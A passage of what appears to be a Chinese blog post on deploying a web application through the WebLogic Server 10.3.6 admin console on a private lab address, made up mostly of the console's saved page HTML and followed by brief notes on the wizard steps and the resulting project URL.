    <div class="buttonBar">
      <button type='button' name='Back' disabled="disabled"  class="formButton-disabled">Back</button>&#160;
      <button type='button' onclick='disableButtons();nextAction("/com/bea/console/actions/app/install/appSelected");return false;' name='Next' class="formButton">Next</button>&#160;
      <img src='images/buttonSeparator.gif' alt=''/>
      <button type='button' name='Finish' disabled="disabled"  class="formButton-disabled">Finish</button>&#160;
      <img src='images/buttonSeparator.gif' alt=''/>
      <button type='button' onclick='disableButtons();nextAction("/com/bea/console/actions/app/install/cancel");return false;' name='Cancel' class="formButton">Cancel</button>&#160;
    </div><script type='text/javascript'>
wls.console.registerDefaultFormAction('unknown', function() {disableButtons();nextAction("/com/bea/console/actions/app/install/appSelected");});</script>
  </div></div></div></div></div></div></div></div></div></div><div class="bottom"><div><div>&nbsp;</div></div></div></div></div></div></div></div><div id="console-nav-col"><div id="ChangeManagerBook" class="none"><div class="wlsc-book-content"><div id="ChangeManagerPage" class="wlsc-page"><div id="ChangeManagerPortlet" class="wlsc-frame"><div class="top"><div><div>&nbsp;</div></div></div><div class="middle"><div class="r"><div class="c"><div class="c2"><div class="wlsc-titlebar"><div class="float-container"><div class="wlsc-titlebar-title-panel"><h2>Change Center</h2></div><div class="wlsc-titlebar-button-panel">&#160;</div></div></div><div class="wlsc-window-content">


<p class="changelink"><a href='http://192.168.52.128:7001/console/console.portal?_nfpb=true&amp;_pageLabel=ChangeManagementPage'>
  View changes and restarts</a></p>
<p class="changeliststatus">
  
    
    
      Configuration editing is enabled.  Future changes will automatically be activated as you modify, add or delete items in this domain.
    
</p>


<form name="changecenterform" action="/console/console.portal" method="POST"><div>
 <input type="hidden" name="ChangeManagerPortlet_actionOverride">
 <input type="hidden" name="changeCenter" value="ChangeCenterClicked">
 <input type="hidden" name="_nfpb" value="true">
 <input type="hidden" name="_pageLabel" value="HomeReserved">
 <input type="hidden" name="ChangeManagerPortletreturnTo" value="">
 <input type="hidden" name="ChangeManagerPortletfrsc" value="0x062430ecab863931868d682e81a64437e4490c23def60129">
</div></form>
</div></div></div></div></div><div class="bottom"><div><div>&nbsp;</div></div></div></div></div></div></div><div id="NavigationBook" class="none"><div class="wlsc-book-content"><div id="NavigationPage" class="wlsc-page"><div id="NavTree" class="wlsc-frame"><div class="top"><div><div>&nbsp;</div></div></div><div class="middle"><div class="r"><div class="c"><div class="c2"><div class="wlsc-titlebar"><div class="float-container"><div class="wlsc-titlebar-title-panel"><h2>Domain Structure</h2></div><div class="wlsc-titlebar-button-panel">&#160;</div></div></div><div class="wlsc-window-content">


<div class="nav-tree-container">
<script src='javascript/treestate.js' type='text/javascript'>//</script>
<script type='text/javascript'> if (req != null) isLocal = true;
  var tNodes=""; </script>
<script type="text/javascript">
    document.write('<div class="JSTree">');
    setBaseDirectory('utils/JStree/images/');
    setTaxonomyDelimeter('.');
{
    _a = new TreeNode('DomainConfigGeneralPage', null, 'base_domain', '/console/console.portal?_nfpb=true&amp;_pageLabel=DomainConfigGeneralPage&DomainConfigGeneralPortlethandle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29', 'images/spacer.gif', 'images/spacer.gif', null, 'base_domain', false, true);
    _aa = new TreeNode('EnvironmentsSummaryPage',_a, 'Environment', '/console/console.portal?_nfpb=true&amp;_pageLabel=EnvironmentsSummaryPage', 'images/spacer.gif', 'images/spacer.gif', null, 'Environment', false, true);
    _aaa = new TreeNode('CoreServerServerTablePage',_aa, 'Servers', '/console/console.portal?_nfpb=true&amp;_pageLabel=CoreServerServerTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Servers', false, false);
    _aaa = new TreeNode('CoreClusterClusterTablePage',_aa, 'Clusters', '/console/console.portal?_nfpb=true&amp;_pageLabel=CoreClusterClusterTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Clusters', false, false);
    _aaa = new TreeNode('CoreVirtualHostVirtualHostTablePage',_aa, 'Virtual Hosts', '/console/console.portal?_nfpb=true&amp;_pageLabel=CoreVirtualHostVirtualHostTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Virtual Hosts', false, false);
    _aaa = new TreeNode('MigratableTargetsConfigTablePage',_aa, 'Migratable Targets', '/console/console.portal?_nfpb=true&amp;_pageLabel=MigratableTargetsConfigTablePage&MigratableTargetsConfigTablePortlethandle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29', 'images/spacer.gif', 'images/spacer.gif', null, 'Migratable Targets', false, false);
    _aaa = new TreeNode('CoherenceServersConfigPage',_aa, 'Coherence Servers', '/console/console.portal?_nfpb=true&amp;_pageLabel=CoherenceServersConfigPage', 'images/spacer.gif', 'images/spacer.gif', null, 'Coherence Servers', false, false);
    _aaa = new TreeNode('CoherenceGlobalCoherenceClustersPage',_aa, 'Coherence Clusters', '/console/console.portal?_nfpb=true&amp;_pageLabel=CoherenceGlobalCoherenceClustersPage', 'images/spacer.gif', 'images/spacer.gif', null, 'Coherence Clusters', false, false);
    _aaa = new TreeNode('CoreMachineMachineTablePage',_aa, 'Machines', '/console/console.portal?_nfpb=true&amp;_pageLabel=CoreMachineMachineTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Machines', false, false);
    _aaa = new TreeNode('CoreWorkManagerTable',_aa, 'Work Managers', '/console/console.portal?_nfpb=true&amp;_pageLabel=CoreWorkManagerTable', 'images/spacer.gif', 'images/spacer.gif', null, 'Work Managers', false, false);
    _aaa = new TreeNode('CoreClassesClassDeploymentTablePage',_aa, 'Startup and Shutdown Classes', '/console/console.portal?_nfpb=true&amp;_pageLabel=CoreClassesClassDeploymentTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Startup and Shutdown Classes', false, false);
    _aa = new TreeNode('AppDeploymentsControlPage',_a, 'Deployments', '/console/console.portal?_nfpb=true&amp;_pageLabel=AppDeploymentsControlPage', 'images/spacer.gif', 'images/spacer.gif', null, 'Deployments', false, false);
    _aa = new TreeNode('ServicesSummaryPage',_a, 'Services', '/console/console.portal?_nfpb=true&amp;_pageLabel=ServicesSummaryPage', 'images/spacer.gif', 'images/spacer.gif', null, 'Services', false, true);
    _aaa = new TreeNode('ServicesJmsSummaryPage',_aa, 'Messaging', '/console/console.portal?_nfpb=true&amp;_pageLabel=ServicesJmsSummaryPage', 'images/spacer.gif', 'images/spacer.gif', null, 'Messaging', false, true);
    _aaaa = new TreeNode('JmsServerJMSServerTablePage',_aaa, 'JMS Servers', '/console/console.portal?_nfpb=true&amp;_pageLabel=JmsServerJMSServerTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'JMS Servers', false, false);
    _aaaa = new TreeNode('JmsSAFAgentSAFAgentTablePage',_aaa, 'Store-and-Forward Agents', '/console/console.portal?_nfpb=true&amp;_pageLabel=JmsSAFAgentSAFAgentTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Store-and-Forward Agents', false, false);
    _aaaa = new TreeNode('JmsModulesTablePage',_aaa, 'JMS Modules', '/console/console.portal?_nfpb=true&amp;_pageLabel=JmsModulesTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'JMS Modules', false, false);
    _aaaa = new TreeNode('PathServiceTablePage',_aaa, 'Path Services', '/console/console.portal?_nfpb=true&amp;_pageLabel=PathServiceTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Path Services', false, false);
    _aaaa = new TreeNode('BridgeMessagingBridgeTablePage',_aaa, 'Bridges', '/console/console.portal?_nfpb=true&amp;_pageLabel=BridgeMessagingBridgeTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Bridges', false, true);
    _aaaaa = new TreeNode('JmsBridgedestinationJMSBridgeDestinationTablePage',_aaaa, 'JMS Bridge Destinations', '/console/console.portal?_nfpb=true&amp;_pageLabel=JmsBridgedestinationJMSBridgeDestinationTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'JMS Bridge Destinations', false, false);
    _aaa = new TreeNode('GlobalJDBCDataSourceTablePage',_aa, 'Data Sources', '/console/console.portal?_nfpb=true&amp;_pageLabel=GlobalJDBCDataSourceTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Data Sources', false, false);
    _aaa = new TreeNode('JmsStoresJMSStoreTablePage',_aa, 'Persistent Stores', '/console/console.portal?_nfpb=true&amp;_pageLabel=JmsStoresJMSStoreTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Persistent Stores', false, false);
    _aaa = new TreeNode('ForeignJNDIProviderTablePage',_aa, 'Foreign JNDI Providers', '/console/console.portal?_nfpb=true&amp;_pageLabel=ForeignJNDIProviderTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Foreign JNDI Providers', false, false);
    _aaa = new TreeNode('WorkContextPathTablePage',_aa, 'Work Contexts', '/console/console.portal?_nfpb=true&amp;_pageLabel=WorkContextPathTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Work Contexts', false, false);
    _aaa = new TreeNode('XMLRegistryXMLRegistryTablePage',_aa, 'XML Registries', '/console/console.portal?_nfpb=true&amp;_pageLabel=XMLRegistryXMLRegistryTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'XML Registries', false, false);
    _aaa = new TreeNode('XMLEntityCacheTablePage',_aa, 'XML Entity Caches', '/console/console.portal?_nfpb=true&amp;_pageLabel=XMLEntityCacheTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'XML Entity Caches', false, false);
    _aaa = new TreeNode('JComClassTablePage',_aa, 'jCOM', '/console/console.portal?_nfpb=true&amp;_pageLabel=JComClassTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'jCOM', false, false);
    _aaa = new TreeNode('MailMailSessionTablePage',_aa, 'Mail Sessions', '/console/console.portal?_nfpb=true&amp;_pageLabel=MailMailSessionTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Mail Sessions', false, false);
    _aaa = new TreeNode('FileT3FileT3TablePage',_aa, 'File T3', '/console/console.portal?_nfpb=true&amp;_pageLabel=FileT3FileT3TablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'File T3', false, false);
    _aaa = new TreeNode('DomainConfigJtaPage',_aa, 'JTA', '/console/console.portal?_nfpb=true&amp;_pageLabel=DomainConfigJtaPage&DomainConfigJtaPortlethandle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29', 'images/spacer.gif', 'images/spacer.gif', null, 'JTA', false, false);
    _aa = new TreeNode('SecurityRealmRealmTablePage',_a, 'Security Realms', '/console/console.portal?_nfpb=true&amp;_pageLabel=SecurityRealmRealmTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Security Realms', false, false);
    _aa = new TreeNode('InteroperabilitySummaryPage',_a, 'Interoperability', '/console/console.portal?_nfpb=true&amp;_pageLabel=InteroperabilitySummaryPage', 'images/spacer.gif', 'images/spacer.gif', null, 'Interoperability', false, true);
    _aaa = new TreeNode('WTCServerTablePage',_aa, 'WTC Servers', '/console/console.portal?_nfpb=true&amp;_pageLabel=WTCServerTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'WTC Servers', false, false);
    _aaa = new TreeNode('JoltConnectionPoolTablePage',_aa, 'Jolt Connection Pools', '/console/console.portal?_nfpb=true&amp;_pageLabel=JoltConnectionPoolTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Jolt Connection Pools', false, false);
    _aa = new TreeNode('DiagnosticsSummaryPage',_a, 'Diagnostics', '/console/console.portal?_nfpb=true&amp;_pageLabel=DiagnosticsSummaryPage', 'images/spacer.gif', 'images/spacer.gif', null, 'Diagnostics', false, true);
    _aaa = new TreeNode('DiagnosticsLogTablePage',_aa, 'Log Files', '/console/console.portal?_nfpb=true&amp;_pageLabel=DiagnosticsLogTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Log Files', false, false);
    _aaa = new TreeNode('DiagnosticsModuleTablePage',_aa, 'Diagnostic Modules', '/console/console.portal?_nfpb=true&amp;_pageLabel=DiagnosticsModuleTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Diagnostic Modules', false, false);
    _aaa = new TreeNode('DiagnosticsImageTablePage',_aa, 'Diagnostic Images', '/console/console.portal?_nfpb=true&amp;_pageLabel=DiagnosticsImageTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Diagnostic Images', false, false);
    _aaa = new TreeNode('RequestPerformancePage',_aa, 'Request Performance', '/console/console.portal?_nfpb=true&amp;_pageLabel=RequestPerformancePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Request Performance', false, false);
    _aaa = new TreeNode('DiagnosticsArchiveTablePage',_aa, 'Archives', '/console/console.portal?_nfpb=true&amp;_pageLabel=DiagnosticsArchiveTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Archives', false, false);
    _aaa = new TreeNode('DiagnosticsContextTablePage',_aa, 'Context', '/console/console.portal?_nfpb=true&amp;_pageLabel=DiagnosticsContextTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Context', false, false);
    _aaa = new TreeNode('SNMPAgentsTablePage',_aa, 'SNMP', '/console/console.portal?_nfpb=true&amp;_pageLabel=SNMPAgentsTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'SNMP', false, false);

var messageCatalog = new Array(7);messageCatalog["tree.popup.collapsenode.label"] = "Collapse Node";messageCatalog["tree.popup.expandnode.label"] = "Expand Node";messageCatalog["tree.popup.expanded.label"] = "Expanded";messageCatalog["tree.popup.collapsed.label"] = "Collapsed";messageCatalog["tree.popup.of.label"] = "of";messageCatalog["tree.popup.selected.label"] = "Selected";messageCatalog["tree.popup.level.label"] = "Level";
    setHighlightedNodes( 'AppApplicationInstallPage' );
    createTree(_a);
}
   document.write('<\/div>');
</script>

<form onsubmit='alert(this.nodeId);' method='post' id='HierarchyManagementForm' name='HierarchyManagementForm' action='/console/console.portal'>
<input type='hidden' name='action' value=''>
<input type='hidden' name='nodeId' value=''>
<input type='hidden' name='_nfpb' value='true'>
</form>

</div>
</div></div></div></div></div><div class="bottom"><div><div>&nbsp;</div></div></div></div></div></div></div><div id="QuickLinksBook" class="none"><div class="wlsc-book-content"><div id="QuickLinksPage" class="wlsc-page"><div id="QuickLinks" class="wlsc-frame"><div class="top"><div><div>&nbsp;</div></div></div><div class="middle"><div class="r"><div class="c"><div class="c2"><div class="wlsc-titlebar"><div class="float-container"><div class="wlsc-titlebar-title-panel"><h2>How do I...</h2></div><div class="wlsc-titlebar-button-panel">&#160;<a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&amp;_windowLabel=QuickLinks&amp;_state=minimized"><img src="/console/framework/skins/wlsconsole/images/titlebar-button-minimize.png" class="" title="Minimize" alt="Minimize "></a></div></div></div><div class="wlsc-window-content">





<ul>

    <li onmouseover="this.className='quicklinksrowover';" onmouseout="this.className='quicklinksrowout';">
      <a href="#" onclick="return wls.console.launchTaskHelp('applications.StopDeployedEnterpriseApplications')">Start and stop a deployed Enterprise application</a></li>

    <li onmouseover="this.className='quicklinksrowover';" onmouseout="this.className='quicklinksrowout';">
      <a href="#" onclick="return wls.console.launchTaskHelp('applications.ConfigureEnterpriseApplications')">Configure an Enterprise application</a></li>

    <li onmouseover="this.className='quicklinksrowover';" onmouseout="this.className='quicklinksrowout';">
      <a href="#" onclick="return wls.console.launchTaskHelp('applications.CreateDeploymentPlan')">Create a deployment plan</a></li>

    <li onmouseover="this.className='quicklinksrowover';" onmouseout="this.className='quicklinksrowout';">
      <a href="#" onclick="return wls.console.launchTaskHelp('applications.TargetEnterpriseApplication')">Target an Enterprise application to a server</a></li>

    <li onmouseover="this.className='quicklinksrowover';" onmouseout="this.className='quicklinksrowout';">
      <a href="#" onclick="return wls.console.launchTaskHelp('applications.TestAppModules')">Test the modules in an Enterprise application</a></li>

</ul>
</div></div></div></div></div><div class="bottom"><div><div>&nbsp;</div></div></div></div></div></div></div><div id="SystemStatusBook" class="none"><div class="wlsc-book-content"><div id="SystemStatusPage" class="wlsc-page"><div id="SystemStatus" class="wlsc-frame"><div class="top"><div><div>&nbsp;</div></div></div><div class="middle"><div class="r"><div class="c"><div class="c2"><div class="wlsc-titlebar"><div class="float-container"><div class="wlsc-titlebar-title-panel"><h2>System Status</h2></div><div class="wlsc-titlebar-button-panel">&#160;<a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&amp;_windowLabel=SystemStatus&amp;_state=minimized"><img src="/console/framework/skins/wlsconsole/images/titlebar-button-minimize.png" class="" title="Minimize" alt="Minimize "></a></div></div></div><div class="wlsc-window-content">


![](https://img2020.cnblogs.com/blog/1630201/202102/1630201-20210222164339454-1949347657.png)

<p class="serverStatusHead">Health of Running Servers</p>
<div class="serverStatusDataArea">
  
  <div class="statusRow">
    <div class="statusBar" title="Failed (0)">
      <div id="serverStatusBarFail" style="width:1%">&nbsp;</div>
    </div>
    <div class="statusLabel">
      <a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&amp;_pageLabel=DomainMonitorHealthPage&amp;DomainMonitorHealthPortletcolumn=Health&amp;DomainMonitorHealthPortletvalue=Failed&amp;DomainMonitorHealthPortlethandle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29" 
         title="View list of servers with health of FAILED (0)">
        Failed (0)</a>
    </div>
  </div>
  
  <div class="statusRow">
    <div class="statusBar" title="Critical (0)">
      <div id="serverStatusBarCritical" style="width:1%">&nbsp;</div>
    </div>
    <div class="statusLabel">
       <a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&amp;_pageLabel=DomainMonitorHealthPage&amp;DomainMonitorHealthPortletcolumn=Health&amp;DomainMonitorHealthPortletvalue=Critical&amp;DomainMonitorHealthPortlethandle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29"
          title="View list of servers with health of CRITICAL (0)">
         Critical (0)</a>
    </div>
  </div>
  
  <div class="statusRow">
    <div class="statusBar" title="Overloaded (0)">
      <div id="serverStatusBarOverloaded" style="width:1%">&nbsp;</div>
    </div>
    <div class="statusLabel">
      <a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&amp;_pageLabel=DomainMonitorHealthPage&amp;DomainMonitorHealthPortletcolumn=Health&amp;DomainMonitorHealthPortletvalue=Overloaded&amp;DomainMonitorHealthPortlethandle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29"
         title="View list of servers with health of OVERLOADED (0)">
        Overloaded (0)</a>
    </div>
  </div>
  
  <div class="statusRow">
    <div class="statusBar" title="Warning (0)">
      <div id="serverStatusBarWarning" style="width:1%">&nbsp;</div>
    </div>
    <div class="statusLabel">
      <a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&amp;_pageLabel=DomainMonitorHealthPage&amp;DomainMonitorHealthPortletcolumn=Health&amp;DomainMonitorHealthPortletvalue=Warning&amp;DomainMonitorHealthPortlethandle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29"
         title="View list of servers with health of WARNING (0)">
        Warning (0)</a>
    </div>
  </div>
  
  <div class="statusRow">
    <div class="statusBar" title="OK (1)">
      <div id="serverStatusBarOk" style="width:100%">&nbsp;</div>
    </div>
    <div class="statusLabel">
      <a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&amp;_pageLabel=DomainMonitorHealthPage&amp;DomainMonitorHealthPortletcolumn=Health&amp;DomainMonitorHealthPortletvalue=OK&amp;DomainMonitorHealthPortlethandle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29"
         title="View list of servers with health of OK (1)">
        OK (1)</a>
    </div>
  </div>
  <div class="clear">&nbsp;</div>
</div>
</div></div></div></div></div><div class="bottom"><div><div>&nbsp;</div></div></div></div></div></div></div></div></div></div></div></div><div class="wlsc-footer"><div id="console-footer"><div class="info"><p id="footerVersion">WebLogic Server Version: 10.3.6.0</p><p id="copyright">Copyright &copy; 1996, 2011, Oracle and/or its affiliates. All rights reserved.</p><p id="trademark">Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners.</p></div></div></div></body></html>

後面基本就是一路Next,詳細的操作參考:https://www.cnblogs.com/DFX339/p/8515200.html

部署完成

開始配置系統環境

http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=CoreServerServerTablePage

選擇協議,然後選擇HTTP

http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=ServerProtocolsTabhttpTabPage&handle=com.bea.console.handles.JMXHandle("com.bea%3AName%3DAdminServer%2CType%3DServer")

再次點選部署(Deployments)

http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage

然後就可以訪問專案了 http://IP:PORT/ProjectName

http://192.168.52.128:7001/test3693/

相關文章